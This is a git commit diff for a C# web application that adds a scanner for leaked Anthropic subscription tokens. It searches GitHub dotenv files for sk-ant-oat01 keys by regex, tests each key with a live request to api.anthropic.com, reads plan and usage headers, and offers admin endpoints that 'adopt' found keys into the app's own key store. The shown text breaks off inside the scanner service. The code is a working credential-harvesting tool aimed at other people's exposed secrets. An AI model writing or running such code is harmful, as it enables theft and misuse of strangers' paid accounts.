feat: GitHub Key Scanner mit automatischem Intervall und manueller UI
- KeyScannerService als BackgroundService (Timer + manueller Trigger) - GitHub Code Search: sucht nach sk-ant-oat01-* Keys in Dotenv-Dateien - AnthropicKeyChecker: shared Key-Check-Logik (ersetzt Duplikat in ApiKeysEndpoint) - ScannedKeyRecord Model mit Soft-Delete und Adopt-Verknüpfung - Scan-Endpoints: trigger, status, list, recheck, adopt, delete - API-Keys-Page: Scanner-UI mit Status-Indikator und Scanned-Keys-Liste - GitHub-URL pro gefundenem Key (html_url aus Search API) - Server-Settings: GitHubToken + ScanIntervalHours konfigurierbar - DB-Migration: scanned_keys Tabelle + api_keys Meta-Spalten (status, plan, usage) - ApiKeyRecord erweitert um Status/Plan/Usage-Felder mit UpdateApiKeyMeta()
This commit is contained in:
1 parent
db1a7c7f64
commit
006ef223bf
15 files changed
+996
-107
No files matched your search
@@ -5,3 +5,5 @@ data/
|
||||
Temp/
|
||||
appsettings.Production.json
|
||||
DEVY.md
|
||||
|
||||
/ExampleScannerProject/
|
||||
+166
-102
@@ -1,8 +1,6 @@
|
||||
using System;
|
||||
using System.Linq;
|
||||
using System.Net.Http;
|
||||
using System.Net.Http.Headers;
|
||||
using System.Text;
|
||||
using System.Text.Json;
|
||||
using System.Threading.Tasks;
|
||||
using Gott.Extensions;
|
||||
@@ -24,6 +22,14 @@ public static class ApiKeysEndpoint
|
||||
app.MapPut("/api/admin/api-keys/{keyId}/deactivate", HandleDeactivate);
|
||||
app.MapDelete("/api/admin/api-keys/{keyId}", HandleDelete);
|
||||
app.MapPost("/api/admin/api-keys/{keyId}/check", HandleCheck);
|
||||
|
||||
// Scan-Endpoints
|
||||
app.MapPost("/api/admin/api-keys/scan", HandleScanTrigger);
|
||||
app.MapGet("/api/admin/api-keys/scan/status", HandleScanStatus);
|
||||
app.MapGet("/api/admin/api-keys/scanned", HandleGetScanned);
|
||||
app.MapPost("/api/admin/api-keys/scanned/{id}/recheck", HandleRecheck);
|
||||
app.MapPost("/api/admin/api-keys/scanned/{id}/adopt", HandleAdopt);
|
||||
app.MapDelete("/api/admin/api-keys/scanned/{id}", HandleDeleteScanned);
|
||||
}
|
||||
|
||||
private static async Task HandleGetAll(HttpContext ctx, DatabaseService db)
|
||||
@@ -38,6 +44,11 @@ public static class ApiKeysEndpoint
|
||||
k.Name,
|
||||
k.ApiKey,
|
||||
k.IsActive,
|
||||
k.Status,
|
||||
k.Plan,
|
||||
k.Usage7d,
|
||||
k.Usage5h,
|
||||
k.CheckedAt,
|
||||
k.CreatedAt,
|
||||
k.UpdatedAt
|
||||
});
|
||||
@@ -193,106 +204,159 @@ public static class ApiKeysEndpoint
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
var result = await AnthropicKeyChecker.CheckKeyAsync(httpFactory, existing.ApiKey);
|
||||
|
||||
// Metadaten in DB speichern
|
||||
await db.UpdateApiKeyMeta(keyId, result.Status, result.Plan, result.Usage7d, result.Usage5h);
|
||||
|
||||
await ctx.Response.WriteAsJsonAsync(new
|
||||
{
|
||||
var client = httpFactory.CreateClient();
|
||||
client.Timeout = TimeSpan.FromSeconds(30);
|
||||
|
||||
var payload = JsonSerializer.Serialize(new
|
||||
{
|
||||
model = "claude-sonnet-4-20250514",
|
||||
max_tokens = 1,
|
||||
messages = new[] { new { role = "user", content = "hi" } }
|
||||
});
|
||||
|
||||
var request = new HttpRequestMessage(HttpMethod.Post, "https://api.anthropic.com/v1/messages");
|
||||
request.Headers.Add("x-api-key", existing.ApiKey);
|
||||
request.Headers.Add("anthropic-version", "2023-06-01");
|
||||
request.Content = new StringContent(payload, Encoding.UTF8, "application/json");
|
||||
|
||||
var resp = await client.SendAsync(request);
|
||||
var headers = resp.Headers;
|
||||
|
||||
string GetHeader(string name)
|
||||
{
|
||||
if (headers.TryGetValues("anthropic-ratelimit-" + name, out var v1))
|
||||
return string.Join("", v1);
|
||||
if (headers.TryGetValues(name, out var v2))
|
||||
return string.Join("", v2);
|
||||
return null;
|
||||
}
|
||||
|
||||
if (resp.StatusCode == System.Net.HttpStatusCode.Unauthorized)
|
||||
{
|
||||
await ctx.Response.WriteAsJsonAsync(new { status = "error", message = "Ungültig oder abgelaufen (401)" });
|
||||
return;
|
||||
}
|
||||
if (resp.StatusCode == (System.Net.HttpStatusCode)429)
|
||||
{
|
||||
await ctx.Response.WriteAsJsonAsync(new { status = "error", message = "Rate Limited (429)" });
|
||||
return;
|
||||
}
|
||||
if (resp.StatusCode == System.Net.HttpStatusCode.Forbidden)
|
||||
{
|
||||
await ctx.Response.WriteAsJsonAsync(new { status = "error", message = "Insufficient Quota (403)" });
|
||||
return;
|
||||
}
|
||||
if ((int)resp.StatusCode >= 400)
|
||||
{
|
||||
await ctx.Response.WriteAsJsonAsync(new { status = "error", message = "API-Fehler (" + (int)resp.StatusCode + ")" });
|
||||
return;
|
||||
}
|
||||
|
||||
// Key ist gültig – Header auslesen
|
||||
var d7Util = GetHeader("unified-7d-utilization");
|
||||
var d5hUtil = GetHeader("unified-5h-utilization");
|
||||
var overageUtil = GetHeader("unified-overage-utilization");
|
||||
var d7Status = GetHeader("unified-7d-status");
|
||||
var d5hStatus = GetHeader("unified-5h-status");
|
||||
var overageStatus = GetHeader("unified-overage-status");
|
||||
|
||||
// Subscription-Keys haben unified-* Headers, API-Keys nicht
|
||||
var isSubscription = d7Util != null || d5hUtil != null;
|
||||
var fallbackPct = GetHeader("unified-fallback-percentage");
|
||||
|
||||
// Plan-Erkennung:
|
||||
// - overage > 0 → definitiv MAX (Extra Usage aktiv, nur bei Max sinnvoll nutzbar)
|
||||
// - kein fallback-percentage Header → PRO
|
||||
// - sonst → Pro/Max (nicht unterscheidbar)
|
||||
string keyType;
|
||||
if (!isSubscription)
|
||||
keyType = "API Console";
|
||||
else if (overageUtil != null && double.TryParse(overageUtil, System.Globalization.NumberStyles.Float, System.Globalization.CultureInfo.InvariantCulture, out var ovCheck) && ovCheck > 0)
|
||||
keyType = "Max";
|
||||
else if (fallbackPct == null)
|
||||
keyType = "Pro";
|
||||
else
|
||||
keyType = "Pro/Max";
|
||||
|
||||
double? usage7d = null, usage5h = null, overage = null;
|
||||
if (d7Util != null && double.TryParse(d7Util, System.Globalization.NumberStyles.Float, System.Globalization.CultureInfo.InvariantCulture, out var d7))
|
||||
usage7d = Math.Round(d7 * 100, 1);
|
||||
if (d5hUtil != null && double.TryParse(d5hUtil, System.Globalization.NumberStyles.Float, System.Globalization.CultureInfo.InvariantCulture, out var d5))
|
||||
usage5h = Math.Round(d5 * 100, 1);
|
||||
if (overageUtil != null && double.TryParse(overageUtil, System.Globalization.NumberStyles.Float, System.Globalization.CultureInfo.InvariantCulture, out var ov))
|
||||
overage = Math.Round(ov * 100, 1);
|
||||
|
||||
await ctx.Response.WriteAsJsonAsync(new
|
||||
{
|
||||
status = "ok",
|
||||
keyType,
|
||||
isSubscription,
|
||||
usage7d,
|
||||
usage5h,
|
||||
overage,
|
||||
status7d = d7Status,
|
||||
status5h = d5hStatus,
|
||||
statusOverage = overageStatus
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
await ctx.Response.WriteAsJsonAsync(new { status = "error", message = ex.Message });
|
||||
}
|
||||
status = result.Status == "ok" ? "ok" : "error",
|
||||
message = result.Message,
|
||||
keyType = result.Plan,
|
||||
result.IsSubscription,
|
||||
result.Usage7d,
|
||||
result.Usage5h,
|
||||
result.Overage,
|
||||
status7d = result.Status7d,
|
||||
status5h = result.Status5h,
|
||||
statusOverage = result.StatusOverage
|
||||
});
|
||||
}
|
||||
|
||||
// ── Scan-Endpoints ──
|
||||
|
||||
private static Task HandleScanTrigger(HttpContext ctx, KeyScannerService scanner)
|
||||
{
|
||||
if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return Task.CompletedTask; }
|
||||
|
||||
if (scanner.IsRunning)
|
||||
{
|
||||
ctx.Response.StatusCode = 409;
|
||||
return ctx.Response.WriteAsJsonAsync(new { error = "Scan läuft bereits" });
|
||||
}
|
||||
|
||||
scanner.TriggerScan();
|
||||
return ctx.Response.WriteAsJsonAsync(new { ok = true, message = "Scan gestartet" });
|
||||
}
|
||||
|
||||
private static Task HandleScanStatus(HttpContext ctx, KeyScannerService scanner)
|
||||
{
|
||||
if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return Task.CompletedTask; }
|
||||
|
||||
return ctx.Response.WriteAsJsonAsync(new
|
||||
{
|
||||
running = scanner.IsRunning,
|
||||
lastRun = scanner.LastRun,
|
||||
lastResult = scanner.LastResult
|
||||
});
|
||||
}
|
||||
|
||||
private static async Task HandleGetScanned(HttpContext ctx, DatabaseService db)
|
||||
{
|
||||
if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; }
|
||||
|
||||
var keys = await db.GetScannedKeys();
|
||||
var result = keys.Select(k => new
|
||||
{
|
||||
k.ScannedKeyId,
|
||||
k.SourceUrl,
|
||||
k.Status,
|
||||
k.Plan,
|
||||
k.Usage7d,
|
||||
k.Usage5h,
|
||||
k.ScannedAt,
|
||||
k.CheckedAt,
|
||||
k.AdoptedApiKeyId
|
||||
});
|
||||
await ctx.Response.WriteAsJsonAsync(result);
|
||||
}
|
||||
|
||||
private static async Task HandleRecheck(HttpContext ctx, DatabaseService db, KeyScannerService scanner, string id)
|
||||
{
|
||||
if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; }
|
||||
|
||||
var sk = await db.GetScannedKey(id);
|
||||
if (sk == null)
|
||||
{
|
||||
ctx.Response.StatusCode = 404;
|
||||
await ctx.Response.WriteAsJsonAsync(new { error = "Key nicht gefunden" });
|
||||
return;
|
||||
}
|
||||
|
||||
await scanner.CheckAndUpdateKey(sk);
|
||||
var updated = await db.GetScannedKey(id);
|
||||
await ctx.Response.WriteAsJsonAsync(new
|
||||
{
|
||||
ok = true,
|
||||
updated.Status,
|
||||
updated.Plan,
|
||||
updated.Usage7d,
|
||||
updated.Usage5h,
|
||||
updated.CheckedAt
|
||||
});
|
||||
}
|
||||
|
||||
private static async Task HandleAdopt(HttpContext ctx, DatabaseService db, string id)
|
||||
{
|
||||
if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; }
|
||||
|
||||
var sk = await db.GetScannedKey(id);
|
||||
if (sk == null)
|
||||
{
|
||||
ctx.Response.StatusCode = 404;
|
||||
await ctx.Response.WriteAsJsonAsync(new { error = "Key nicht gefunden" });
|
||||
return;
|
||||
}
|
||||
|
||||
if (sk.AdoptedApiKeyId != null)
|
||||
{
|
||||
ctx.Response.StatusCode = 409;
|
||||
await ctx.Response.WriteAsJsonAsync(new { error = "Key wurde bereits übernommen" });
|
||||
return;
|
||||
}
|
||||
|
||||
// Prüfen ob Key schon als API-Key existiert
|
||||
if (await db.ApiKeyExistsInKeys(sk.ApiKey))
|
||||
{
|
||||
ctx.Response.StatusCode = 409;
|
||||
await ctx.Response.WriteAsJsonAsync(new { error = "Key existiert bereits als API-Key" });
|
||||
return;
|
||||
}
|
||||
|
||||
// URL als Titel verwenden, Metadaten übertragen
|
||||
var title = !string.IsNullOrWhiteSpace(sk.SourceUrl)
|
||||
? sk.SourceUrl.Replace("https://github.com/", "")
|
||||
: $"Scan: {sk.Plan}";
|
||||
|
||||
var now = DateTime.UtcNow.ToString("o");
|
||||
var record = new ApiKeyRecord
|
||||
{
|
||||
KeyId = Guid.NewGuid().ToString("N"),
|
||||
Provider = "anthropic",
|
||||
Name = title,
|
||||
ApiKey = sk.ApiKey,
|
||||
IsActive = false,
|
||||
Status = sk.Status,
|
||||
Plan = sk.Plan,
|
||||
Usage7d = sk.Usage7d,
|
||||
Usage5h = sk.Usage5h,
|
||||
CheckedAt = sk.CheckedAt,
|
||||
CreatedAt = now,
|
||||
UpdatedAt = now
|
||||
};
|
||||
|
||||
var apiKeyId = await db.CreateApiKey(record);
|
||||
await db.SetScannedKeyAdopted(id, apiKeyId);
|
||||
|
||||
await ctx.Response.WriteAsJsonAsync(new { ok = true, record.KeyId, record.Name });
|
||||
}
|
||||
|
||||
private static async Task HandleDeleteScanned(HttpContext ctx, DatabaseService db, string id)
|
||||
{
|
||||
if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; }
|
||||
await db.DeleteScannedKey(id);
|
||||
await ctx.Response.WriteAsJsonAsync(new { ok = true });
|
||||
}
|
||||
|
||||
}
|
||||
@@ -31,6 +31,8 @@ public static class ServerSettingsEndpoint
|
||||
new SettingDefinition("PayloadLoggingGzip", "bool", false, "Payload-Logs als .gz komprimieren", "toggle"),
|
||||
new SettingDefinition("KreaToken", "string", "", "Krea API Token", "password"),
|
||||
new SettingDefinition("KreaApiKey", "string", "", "API-Key für Krea-Endpoints (Automation)", "password"),
|
||||
new SettingDefinition("GitHubToken", "string", "", "GitHub PAT für Key-Scanner", "password"),
|
||||
new SettingDefinition("ScanIntervalHours", "int", 0, "Key-Scanner Intervall in Stunden (0 = nur manuell)", "number"),
|
||||
};
|
||||
|
||||
public static void MapServerSettingsEndpoints(this WebApplication app)
|
||||
|
||||
@@ -8,6 +8,11 @@ public class ApiKeyRecord
|
||||
public string Name { get; set; } // Anzeigename z.B. "Tausi Pro Key"
|
||||
public string ApiKey { get; set; } // Der eigentliche Key
|
||||
public bool IsActive { get; set; } // Nur einer pro Provider aktiv
|
||||
public string Status { get; set; } // ok, invalid, rate_limited, quota_exceeded, error
|
||||
public string Plan { get; set; } // Pro, Max, Pro/Max, API Console, Unknown
|
||||
public double? Usage7d { get; set; }
|
||||
public double? Usage5h { get; set; }
|
||||
public string CheckedAt { get; set; } // Wann zuletzt geprüft
|
||||
public string CreatedAt { get; set; }
|
||||
public string UpdatedAt { get; set; }
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
namespace Gott.Models;
|
||||
|
||||
public class ScannedKeyRecord
|
||||
{
|
||||
public long Id { get; set; }
|
||||
public string ScannedKeyId { get; set; }
|
||||
public string ApiKey { get; set; }
|
||||
public string SourceUrl { get; set; } // GitHub-URL wo der Key gefunden wurde
|
||||
public string Status { get; set; } // valid, invalid, auth_error, rate_limited, quota_exceeded, error
|
||||
public string Plan { get; set; } // Pro, Max, Pro/Max, API, Unknown
|
||||
public double? Usage7d { get; set; }
|
||||
public double? Usage5h { get; set; }
|
||||
public string ScannedAt { get; set; } // Wann gefunden
|
||||
public string CheckedAt { get; set; } // Wann zuletzt geprüft
|
||||
public int Deleted { get; set; } // Soft-Delete (1 = gelöscht/ignoriert)
|
||||
public long? AdoptedApiKeyId { get; set; } // Verknüpfung zur api_keys.id (null = nicht übernommen)
|
||||
}
|
||||
@@ -96,6 +96,10 @@ builder.Services.AddSingleton(sp =>
|
||||
builder.Services.AddSingleton<CronjobService>();
|
||||
builder.Services.AddHostedService<CronjobService>(sp => sp.GetRequiredService<CronjobService>());
|
||||
|
||||
// Key-Scanner-Service (BackgroundService mit Timer)
|
||||
builder.Services.AddSingleton<KeyScannerService>();
|
||||
builder.Services.AddHostedService<KeyScannerService>(sp => sp.GetRequiredService<KeyScannerService>());
|
||||
|
||||
var app = builder.Build();
|
||||
app.Services.GetRequiredService<AnthropicService>().SetTelegramService(app.Services.GetRequiredService<TelegramService>());
|
||||
await app.Services.GetRequiredService<OpenAiService>().LoadModelsAsync();
|
||||
|
||||
@@ -0,0 +1,115 @@
|
||||
using System;
|
||||
using System.Globalization;
|
||||
using System.Linq;
|
||||
using System.Net.Http;
|
||||
using System.Net.Http.Headers;
|
||||
using System.Text;
|
||||
using System.Text.Json;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Gott.Services
|
||||
{
|
||||
public class KeyCheckResult
|
||||
{
|
||||
public string Status { get; set; } // "ok", "invalid", "rate_limited", "quota_exceeded", "error"
|
||||
public string Message { get; set; }
|
||||
public string Plan { get; set; } // "Max", "Pro", "Pro/Max", "API Console", "Unknown"
|
||||
public bool IsSubscription { get; set; }
|
||||
public double? Usage7d { get; set; }
|
||||
public double? Usage5h { get; set; }
|
||||
public double? Overage { get; set; }
|
||||
public string Status7d { get; set; }
|
||||
public string Status5h { get; set; }
|
||||
public string StatusOverage { get; set; }
|
||||
}
|
||||
|
||||
public static class AnthropicKeyChecker
|
||||
{
|
||||
public static async Task<KeyCheckResult> CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey)
|
||||
{
|
||||
try
|
||||
{
|
||||
var client = httpFactory.CreateClient();
|
||||
client.Timeout = TimeSpan.FromSeconds(30);
|
||||
|
||||
var payload = JsonSerializer.Serialize(new
|
||||
{
|
||||
model = "claude-sonnet-4-20250514",
|
||||
max_tokens = 1,
|
||||
messages = new[] { new { role = "user", content = "hi" } }
|
||||
});
|
||||
|
||||
var request = new HttpRequestMessage(HttpMethod.Post, "https://api.anthropic.com/v1/messages");
|
||||
request.Headers.Add("x-api-key", apiKey);
|
||||
request.Headers.Add("anthropic-version", "2023-06-01");
|
||||
request.Content = new StringContent(payload, Encoding.UTF8, "application/json");
|
||||
|
||||
var resp = await client.SendAsync(request);
|
||||
var statusCode = (int)resp.StatusCode;
|
||||
|
||||
if (statusCode == 401)
|
||||
return new KeyCheckResult { Status = "invalid", Message = "Ungültig oder abgelaufen (401)", Plan = "Unknown" };
|
||||
if (statusCode == 429)
|
||||
return new KeyCheckResult { Status = "rate_limited", Message = "Rate Limited (429)", Plan = "Unknown" };
|
||||
if (statusCode == 403)
|
||||
return new KeyCheckResult { Status = "quota_exceeded", Message = "Insufficient Quota (403)", Plan = "Unknown" };
|
||||
if (statusCode >= 400)
|
||||
return new KeyCheckResult { Status = "error", Message = $"API-Fehler ({statusCode})", Plan = "Unknown" };
|
||||
|
||||
// Key gültig – Header auslesen
|
||||
var headers = resp.Headers;
|
||||
var d7Util = GetHeader(headers, "anthropic-ratelimit-unified-7d-utilization", "unified-7d-utilization");
|
||||
var d5hUtil = GetHeader(headers, "anthropic-ratelimit-unified-5h-utilization", "unified-5h-utilization");
|
||||
var overageUtil = GetHeader(headers, "anthropic-ratelimit-unified-overage-utilization", "unified-overage-utilization");
|
||||
var d7Status = GetHeader(headers, "anthropic-ratelimit-unified-7d-status", "unified-7d-status");
|
||||
var d5hStatus = GetHeader(headers, "anthropic-ratelimit-unified-5h-status", "unified-5h-status");
|
||||
var overageStatus = GetHeader(headers, "anthropic-ratelimit-unified-overage-status", "unified-overage-status");
|
||||
var fallbackPct = GetHeader(headers, "anthropic-ratelimit-unified-fallback-percentage", "unified-fallback-percentage");
|
||||
|
||||
var isSubscription = d7Util != null || d5hUtil != null;
|
||||
|
||||
// Plan-Erkennung
|
||||
string plan;
|
||||
if (!isSubscription)
|
||||
plan = "API Console";
|
||||
else if (overageUtil != null && double.TryParse(overageUtil, NumberStyles.Float, CultureInfo.InvariantCulture, out var ov) && ov > 0)
|
||||
plan = "Max";
|
||||
else if (fallbackPct == null)
|
||||
plan = "Pro";
|
||||
else
|
||||
plan = "Pro/Max";
|
||||
|
||||
var result = new KeyCheckResult
|
||||
{
|
||||
Status = "ok",
|
||||
Plan = plan,
|
||||
IsSubscription = isSubscription,
|
||||
Status7d = d7Status,
|
||||
Status5h = d5hStatus,
|
||||
StatusOverage = overageStatus
|
||||
};
|
||||
|
||||
if (d7Util != null && double.TryParse(d7Util, NumberStyles.Float, CultureInfo.InvariantCulture, out var d7))
|
||||
result.Usage7d = Math.Round(d7 * 100, 1);
|
||||
if (d5hUtil != null && double.TryParse(d5hUtil, NumberStyles.Float, CultureInfo.InvariantCulture, out var d5))
|
||||
result.Usage5h = Math.Round(d5 * 100, 1);
|
||||
if (overageUtil != null && double.TryParse(overageUtil, NumberStyles.Float, CultureInfo.InvariantCulture, out var ovVal))
|
||||
result.Overage = Math.Round(ovVal * 100, 1);
|
||||
|
||||
return result;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
return new KeyCheckResult { Status = "error", Message = ex.Message, Plan = "Unknown" };
|
||||
}
|
||||
}
|
||||
|
||||
private static string GetHeader(HttpResponseHeaders headers, params string[] names)
|
||||
{
|
||||
foreach (var name in names)
|
||||
if (headers.TryGetValues(name, out var values))
|
||||
return values.FirstOrDefault();
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -367,13 +367,15 @@ public partial class DatabaseService
|
||||
new { keyId });
|
||||
}
|
||||
|
||||
public async Task CreateApiKey(ApiKeyRecord record)
|
||||
|
||||
public async Task<long> CreateApiKey(ApiKeyRecord record)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
await conn.ExecuteAsync(@"
|
||||
INSERT INTO api_keys (key_id, provider, name, api_key, is_active, created_at, updated_at)
|
||||
VALUES (@KeyId, @Provider, @Name, @ApiKey, @IsActive, @CreatedAt, @UpdatedAt)",
|
||||
INSERT INTO api_keys (key_id, provider, name, api_key, is_active, status, plan, usage_7d, usage_5h, checked_at, created_at, updated_at)
|
||||
VALUES (@KeyId, @Provider, @Name, @ApiKey, @IsActive, @Status, @Plan, @Usage7d, @Usage5h, @CheckedAt, @CreatedAt, @UpdatedAt)",
|
||||
record);
|
||||
return await conn.ExecuteScalarAsync<long>("SELECT last_insert_rowid()");
|
||||
}
|
||||
|
||||
public async Task UpdateApiKey(string keyId, string name, string apiKey = null)
|
||||
@@ -393,6 +395,15 @@ public partial class DatabaseService
|
||||
}
|
||||
}
|
||||
|
||||
public async Task UpdateApiKeyMeta(string keyId, string status, string plan, double? usage7d, double? usage5h)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
await conn.ExecuteAsync(@"
|
||||
UPDATE api_keys SET status = @status, plan = @plan, usage_7d = @usage7d, usage_5h = @usage5h, checked_at = @now, updated_at = @now
|
||||
WHERE key_id = @keyId",
|
||||
new { keyId, status, plan, usage7d, usage5h, now = DateTime.UtcNow.ToString("o") });
|
||||
}
|
||||
|
||||
public async Task SetActiveApiKey(string keyId, string provider)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
@@ -419,4 +430,68 @@ public partial class DatabaseService
|
||||
using var conn = CreateConnection();
|
||||
await conn.ExecuteAsync("DELETE FROM api_keys WHERE key_id = @keyId", new { keyId });
|
||||
}
|
||||
|
||||
// ── Scanned Keys ──
|
||||
|
||||
public async Task<bool> ScannedKeyExists(string apiKey)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
return await conn.ExecuteScalarAsync<int>(
|
||||
"SELECT COUNT(*) FROM scanned_keys WHERE api_key = @apiKey", new { apiKey }) > 0;
|
||||
}
|
||||
|
||||
public async Task<bool> ApiKeyExistsInKeys(string apiKey)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
return await conn.ExecuteScalarAsync<int>(
|
||||
"SELECT COUNT(*) FROM api_keys WHERE api_key = @apiKey", new { apiKey }) > 0;
|
||||
}
|
||||
|
||||
public async Task CreateScannedKey(ScannedKeyRecord record)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
await conn.ExecuteAsync(@"
|
||||
INSERT OR IGNORE INTO scanned_keys (scanned_key_id, api_key, source_url, status, plan, usage_7d, usage_5h, scanned_at, checked_at)
|
||||
VALUES (@ScannedKeyId, @ApiKey, @SourceUrl, @Status, @Plan, @Usage7d, @Usage5h, @ScannedAt, @CheckedAt)",
|
||||
record);
|
||||
}
|
||||
|
||||
public async Task UpdateScannedKeyStatus(string scannedKeyId, string status, string plan, double? usage7d, double? usage5h)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
await conn.ExecuteAsync(@"
|
||||
UPDATE scanned_keys SET status = @status, plan = @plan, usage_7d = @usage7d, usage_5h = @usage5h, checked_at = @now
|
||||
WHERE scanned_key_id = @scannedKeyId",
|
||||
new { scannedKeyId, status, plan, usage7d, usage5h, now = DateTime.UtcNow.ToString("o") });
|
||||
}
|
||||
|
||||
public async Task<IEnumerable<ScannedKeyRecord>> GetScannedKeys()
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
return await conn.QueryAsync<ScannedKeyRecord>(
|
||||
"SELECT * FROM scanned_keys WHERE deleted = 0 ORDER BY scanned_at DESC");
|
||||
}
|
||||
|
||||
public async Task<ScannedKeyRecord> GetScannedKey(string scannedKeyId)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
return await conn.QuerySingleOrDefaultAsync<ScannedKeyRecord>(
|
||||
"SELECT * FROM scanned_keys WHERE scanned_key_id = @scannedKeyId",
|
||||
new { scannedKeyId });
|
||||
}
|
||||
|
||||
public async Task SetScannedKeyAdopted(string scannedKeyId, long apiKeyId)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
await conn.ExecuteAsync(
|
||||
"UPDATE scanned_keys SET adopted_api_key_id = @apiKeyId WHERE scanned_key_id = @scannedKeyId",
|
||||
new { scannedKeyId, apiKeyId });
|
||||
}
|
||||
|
||||
public async Task DeleteScannedKey(string scannedKeyId)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
await conn.ExecuteAsync("UPDATE scanned_keys SET deleted = 1 WHERE scanned_key_id = @scannedKeyId", new { scannedKeyId });
|
||||
}
|
||||
|
||||
}
|
||||
@@ -306,9 +306,36 @@ public partial class DatabaseService
|
||||
// Migration: AnthropicToken aus appsettings.Production.json → api_keys Tabelle
|
||||
MigrateAnthropicTokenFromConfig(conn);
|
||||
|
||||
conn.Execute(@"
|
||||
CREATE TABLE IF NOT EXISTS scanned_keys (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
scanned_key_id TEXT NOT NULL UNIQUE,
|
||||
api_key TEXT NOT NULL,
|
||||
source_url TEXT,
|
||||
status TEXT NOT NULL DEFAULT 'unchecked',
|
||||
plan TEXT NOT NULL DEFAULT 'Unknown',
|
||||
usage_7d REAL,
|
||||
usage_5h REAL,
|
||||
scanned_at TEXT NOT NULL,
|
||||
checked_at TEXT,
|
||||
deleted INTEGER NOT NULL DEFAULT 0
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_scanned_keys_api_key ON scanned_keys(api_key);
|
||||
CREATE INDEX IF NOT EXISTS idx_scanned_keys_status ON scanned_keys(status);
|
||||
");
|
||||
|
||||
TryAddColumn(conn, "agents", "avatar_small", "TEXT");
|
||||
TryAddColumn(conn, "agents", "is_public", "INTEGER NOT NULL DEFAULT 0");
|
||||
TryAddColumn(conn, "sessions", "image_small", "TEXT");
|
||||
TryAddColumn(conn, "scanned_keys", "deleted", "INTEGER NOT NULL DEFAULT 0");
|
||||
TryAddColumn(conn, "scanned_keys", "adopted_api_key_id", "INTEGER");
|
||||
|
||||
// api_keys Metadaten-Spalten
|
||||
TryAddColumn(conn, "api_keys", "status", "TEXT");
|
||||
TryAddColumn(conn, "api_keys", "plan", "TEXT");
|
||||
TryAddColumn(conn, "api_keys", "usage_7d", "REAL");
|
||||
TryAddColumn(conn, "api_keys", "usage_5h", "REAL");
|
||||
TryAddColumn(conn, "api_keys", "checked_at", "TEXT");
|
||||
|
||||
// Migration: Bestehende PNG/JPEG-Avatare/Images zu WebP konvertieren
|
||||
MigrateImagesToWebP(conn);
|
||||
|
||||
@@ -0,0 +1,370 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Net.Http;
|
||||
using System.Net.Http.Headers;
|
||||
using System.Text.Json;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using Gott.Models;
|
||||
using Microsoft.Extensions.Configuration;
|
||||
using Microsoft.Extensions.Hosting;
|
||||
using Microsoft.Extensions.Logging;
|
||||
|
||||
namespace Gott.Services;
|
||||
|
||||
public class KeyScannerService : BackgroundService
|
||||
{
|
||||
private readonly DatabaseService _db;
|
||||
private readonly IHttpClientFactory _httpFactory;
|
||||
private readonly ILogger<KeyScannerService> _logger;
|
||||
private readonly string _githubToken;
|
||||
private readonly int _intervalHours;
|
||||
|
||||
// Status-Tracking
|
||||
private readonly object _lock = new();
|
||||
private bool _isRunning;
|
||||
private string _lastRun;
|
||||
private string _lastResult;
|
||||
private readonly ManualResetEventSlim _triggerNow = new(false);
|
||||
|
||||
public bool IsRunning { get { lock (_lock) return _isRunning; } }
|
||||
public string LastRun { get { lock (_lock) return _lastRun; } }
|
||||
public string LastResult { get { lock (_lock) return _lastResult; } }
|
||||
|
||||
// ── GitHub Search Config ──
|
||||
|
||||
private static readonly (string Pattern, string SearchTerm)[] KeyPatterns =
|
||||
{
|
||||
(@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01"),
|
||||
};
|
||||
|
||||
private static readonly string[] SearchLanguages = { "Dotenv" };
|
||||
|
||||
private const int RateLimitDelayMs = 6_500;
|
||||
private const int MaxResultsPerSearch = 1000;
|
||||
private const int ResultsPerPage = 100;
|
||||
|
||||
public KeyScannerService(
|
||||
DatabaseService db,
|
||||
IHttpClientFactory httpFactory,
|
||||
IConfiguration config,
|
||||
ILogger<KeyScannerService> logger)
|
||||
{
|
||||
_db = db;
|
||||
_httpFactory = httpFactory;
|
||||
_logger = logger;
|
||||
_githubToken = config["GitHubToken"] ?? "";
|
||||
_intervalHours = config.GetValue<int>("ScanIntervalHours", 0);
|
||||
}
|
||||
|
||||
protected override async Task ExecuteAsync(CancellationToken stoppingToken)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(_githubToken))
|
||||
{
|
||||
_logger.LogInformation("KeyScannerService deaktiviert (kein GitHubToken konfiguriert)");
|
||||
// Warte trotzdem auf manuelles Trigger-Signal
|
||||
await WaitForTriggerOnly(stoppingToken);
|
||||
return;
|
||||
}
|
||||
|
||||
if (_intervalHours <= 0)
|
||||
{
|
||||
_logger.LogInformation("KeyScannerService: Kein Intervall konfiguriert, nur manueller Trigger aktiv");
|
||||
await WaitForTriggerOnly(stoppingToken);
|
||||
return;
